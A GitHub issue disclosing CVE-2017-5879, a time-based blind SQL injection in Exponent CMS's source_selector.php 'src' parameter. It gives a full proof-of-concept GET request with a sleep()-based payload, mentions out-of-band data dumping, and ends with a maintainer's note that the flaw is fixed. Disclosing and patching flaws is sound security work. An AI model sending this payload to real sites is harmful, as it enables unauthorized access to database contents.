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Time Based SQL Injection Exponent CMS 2.4.1 and others versions #73

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Belladona-c0re opened this issue Feb 6, 2017 · 1 comment

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@Belladona-c0re
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commented Feb 6, 2017

CVE-2017-5879

This is a blind SQL injection that can be exploited by un-authenticated users via an HTTP GET request and which can be used to dump database data out to a malicious server, using an out-of-band technique, such as select_loadfile(). The vulnerability affects source_selector.php andthe following parameter: src.

PoC example:

GET /source_selector.php?controller=blog&action=showall&src=@random4d4c8bfba590f\'%2b(select*from(select(sleep(2)))a)%2b\' HTTP/1.1
Host: localhost
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

poc
How to fix: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

@dleffler

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commented Feb 27, 2017

Fixed in latest code push, to be released in next patch or version

@dleffler dleffler closed this Feb 27, 2017

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